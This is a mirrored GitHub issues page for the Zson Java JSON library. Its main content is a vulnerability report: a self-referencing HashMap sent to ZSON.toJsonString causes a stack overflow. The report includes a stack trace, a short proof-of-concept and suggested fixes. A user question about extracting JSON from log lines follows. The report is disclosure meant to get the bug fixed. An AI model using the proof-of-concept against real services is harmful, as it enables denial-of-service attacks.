Giter Club home page Giter Club logo

zson's Issues

Stack overflow error caused by Zson serialization Map

Stack overflow error caused by Zson serialization Map

Description

Zson before v1.3.7 was discovered to contain a stack overflow via the Map parameter.

Error Log

Exception in thread "main" java.lang.StackOverflowError
	at java.base/java.util.HashMap$KeyIterator.<init>(HashMap.java:1531)
	at java.base/java.util.HashMap$KeySet.iterator(HashMap.java:913)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:55)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)

PoC

        <dependency>
            <groupId>link.zhangfei</groupId>
            <artifactId>zson</artifactId>
            <version>1.1</version>
        </dependency>
import com.zf.zson.ZSON;

import java.util.HashMap;

public class PoC {
    public static void main(String[] args) {
        HashMap<String,Object> map=new HashMap<>();
        map.put("t",map);
        ZSON.toJsonString(map);
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（google/gson@2d01d6a20f39881c692977564c1ea591d9f39027）)

References

https://github.com/jettison-json/jettison/pull/53/files

使用场景是否支持，希望作者看到能给予回复，感谢

请问下作者，这个提取器，可以支持匹配服务器中日志打印出来的内容吗，就好比您说明中举的例子，只不过不是为了断言去获取json里面的某几个字段，而是json整个，只不过有多余的内容，例如时间戳，或者其他内容。只是想要匹配出来{} 里面的，或者是xxx，入参，后面的。不知道我这么问，题主能否理解，打扰了，希望能得到您的回复，感谢

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.